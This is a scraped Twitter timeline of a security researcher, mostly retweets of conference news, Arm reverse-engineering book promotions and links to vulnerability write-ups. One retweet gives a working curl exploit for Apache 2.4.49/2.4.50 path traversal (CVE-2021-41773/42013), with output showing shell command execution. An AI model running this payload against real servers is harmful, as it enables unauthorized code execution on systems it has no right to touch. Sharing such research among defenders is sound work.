@dsanchezlavado

Principal Security Researcher @ Malwarebytes. Tweets my own.

malwarebytes.com
Joined April 2010
  • Tweets1.5K
  • Following178
  • Followers433
36Media
Una mujer recupera su inmueble usurpado, pero al entrar descubre que los okupas han tirado los tabiques y han montado un invernadero de marihuana sintética.
2,308
13,166
1,020
53,816
4,973,252
Set purchase amount to $0: azeria.gumroad.com/l/aarch64…

Armv8-A AArch64 Cheatsheet 2021

Brand-new Armv8-A AArch64 Assembly Cheatsheet! Resolution for 2880 x 1800 screens (MacBook) at 150 PPI (6000 x 3750). Free download (you can set price to $0,...

azeria.gumroad.com
5
22
188
17,576
Stoked to announce "Objective by the Sea" (#OBTS) v6.0 🍎🧑🏻‍🏫🌴☀️ Details: 📍 Marbella, Spain 🗓️ Oct 9ᵗʰ - 13ᵗʰ '23 ℹ️ Hop over to the conf. site to sign up for trainings, conference, & book a room at the venue: objectivebythesea.org/v6/ind… Can't wait to see y'all at the there! 🥰

Objective by the Sea v6.0

The Mac Security Conference

objectivebythesea.org
4
29
1
72
16,950
Finally! My new book "Arm Assembly Internals & Reverse Engineering" is up for pre-order! Save the date for the official launch on May 9th. Can't wait for you to dive into the world of Arm Assembly! Check out the official book website for more info: arm-assembly.com
77
316
47
1,383
414,531
Beyond excited for "Arm Assembly Internals & Reverse Engineering" & to dive into the world of Arm Assembly ...especially as Apple is now all in on Arm 🍎💪🏽 And can't think of a better person to write a book on this topic than Maria! 🦊👸🏼
Azeria
@Fox0x0121 Mar 2023
Finally! My new book "Arm Assembly Internals & Reverse Engineering" is up for pre-order! Save the date for the official launch on May 9th. Can't wait for you to dive into the world of Arm Assembly! Check out the official book website for more info: arm-assembly.com
12
46
15,203
Android Universal Root: Exploiting Mobile GPU / Command Queue Drivers #MobileSecurity #AndroidSecurity #BlackHatUsa2022 [SLIDES] by @1ce0ear @ExploitDr0id @jon_bottarini i.blackhat.com/USA-22/Wednes…
37
1
86
Was beyond stoked to collaborate with Azeria on a chapter for her new Arm assembly & reversing book ...a book that will be a must read! 📚🤩
Azeria
@Fox0x0122 Apr 2022
Replying to @Fox0x01
Also great timing to announce that Patrick and I collaborated on a Malware Analysis chapter for my upcoming book! It’s about “Anti-Analysis Techniques on macOS Malware (M1)” and his new book complements it perfectly 👾🍏
1
6
45
Everyone's talking about the 9.8 RCE bug in Windows RPC runtime (CVE-2022-26809). @nachoskrnl bin-diffed rpcrt4.dll and located the integer overflow that was patched. Read about it here - akamai.com/blog/security/cri… Patch now, and ffs don't expose TCP 445 to the internet.
5
294
16
718
Learn how to prevent Insecure Direct Object References in an automated way. Part of our Owasp Top 10 series explaining how to shield your SDLC. hdivsecurity.com/bornsecure/… #Appsec #Cybersecurity #DevSecOps
1
1
Today we're sharing our Year in Review of 0-days exploited in-the-wild in 2021. Here's our takeaways from this record breaking year. googleprojectzero.blogspot.c…

The More You Know, The More You Know You Don’t Know

A Year in Review of 0-days Used In-the-Wild in 2021 Posted by Maddie Stone, Google Project Zero ...

projectzero.google
2
214
14
516
Abusing Arbitrary File Deletes to Escalate Privilege and Other Great Tricks: A new blog from @HexKitchen detailing how a technique first submitted by @KLINIX5 can change a DoS into an LPE on #Windows. See details & source code examples at zerodayinitiative.com/blog/2…

Zero Day Initiative — Abusing Arbitrary File Deletes to Escalate Privilege and Other Great Tricks

We would like to thank researcher Abdelhamid Naceri for his great work in developing these exploit techniques, as well as for the vulnerabilities he has been reporting to our program. We look forward...

zerodayinitiative.com
1
92
8
286
Nice little-known writeup on WhatsApp exploitation: awakened1712.github.io/hacki… < technically interesting for more than one reason

How a double-free bug in WhatsApp turns to RCE

In this blog post, I’m going to share about a double-free vulnerability that I discovered in WhatsApp for Android, and how I turned it into an RCE. I informed this to Facebook. Facebook acknowledged...

awakened1712.github.io
6
154
6
502
‼️ A T E N C I Ó N ‼️ Difundir por favor. Lamento las molestias. Me han hackeado la cuenta de instagram. Me están extorsionando. El que responde en @sebanerone no soy yo. Lamento las molestias. #instagram @adidas_padel @WorldPadelTour @CPTFuencarral
12
97
1
262
El mono de Cons y el buen cartel de ponentes ha podido conmigo... ¡Nos vemos en 2 semanas en la @h_c0n! (con mascarilla y aforo limitado, del cual por cierto... quedan ya solo como 50 entradas cuando hace 2 días quedaban 100... ;-)).
13
32
En el mundo hay 5.000 millones de dispositivos #Bluetooth. Pocas soluciones han penetrado con tanta fuerza en nuestras vidas. Ocurre que toda oportunidad encierra amenazas. @TarlogicES analizará varias de ellas en una serie de posts. ¡Ahí va el primero! tarlogic.com/es/blog/introdu…

Introducción a los ataques Bluetooth

Tarlogic inicia una serie de artículos para analizar los ataques Bluetooth. En esta primera entrega, presentamos BIAS y BLESA

tarlogic.com
5
7
RCE exploit both for Apache 2.4.49 (CVE-2021-41773) and 2.4.50 (CVE-2021-42013): root@CT406:~# curl 'http://192.168.0.191/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type: text/plain; echo; id' uid=1(daemon) gid=1(daemon) groups=1(daemon)
5
429
21
989
Teletrabajo de forma permanente y para toda la plantilla. Mientras la mayoría de las empresas han dado la orden a sus trabajadores de que vuelvan a la ofi, nosotros hemos decidido justo lo contrario... 👉 Leed, leed... tarlogic.com/actualidad/tarl…
1
14
3
38
I added a new "flavor" to the Transacted Hollowing PoC: github.com/hasherezade/trans… - this time merging it with #ProcessGhosting
2
80
226
ℹ️ In our latest blog, we follow up on the #Kimsuky #APT to see how they keep targeting the gov. of South Korea. blog.malwarebytes.com/threat…
11
1
19
ANNOUNCEMENT: All 40 videos from Black Hat Europe 2020 are now live on the #BlackHat YouTube channel! Check out all the Briefings recordings here: bit.ly/3hQ9b5T
2
133
7
277
Load more